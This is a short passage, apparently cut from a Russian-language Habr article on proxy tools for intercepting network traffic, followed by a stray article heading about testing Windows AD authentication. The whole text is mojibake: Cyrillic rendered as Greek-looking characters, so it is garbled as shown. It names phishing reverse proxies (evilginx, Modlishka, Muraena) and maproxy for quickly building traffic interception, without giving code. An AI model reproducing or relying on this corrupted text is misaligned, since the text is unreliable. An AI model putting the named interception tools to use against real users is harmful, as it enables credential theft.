ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ ΠΏΠΎΠ΄ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ сцСнарий использования, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Muraena, Modlishka ΠΈΠ»ΠΈ evilginx для кСйсов, ΠΏΠΎΡ…ΠΎΠΆΠΈΡ… Π½Π° Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ, ΠΈΠ»ΠΈ ΠΆΠ΅ canape для послСднСго кСйса. Π’Π°ΠΊ ΠΈΠ»ΠΈ ΠΈΠ½Π°Ρ‡Π΅, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ maproxy Π²Ρ‹ смоТСтС быстро Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ свои ΠΈΠ΄Π΅ΠΈ ΠΏΠΎ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρƒ сСтСвых Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ скриптов ΠΎΡ‡Π΅Π½ΡŒ наглядны.

ВСстированиС ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΎΠ² Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² Windows AD

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: habr.com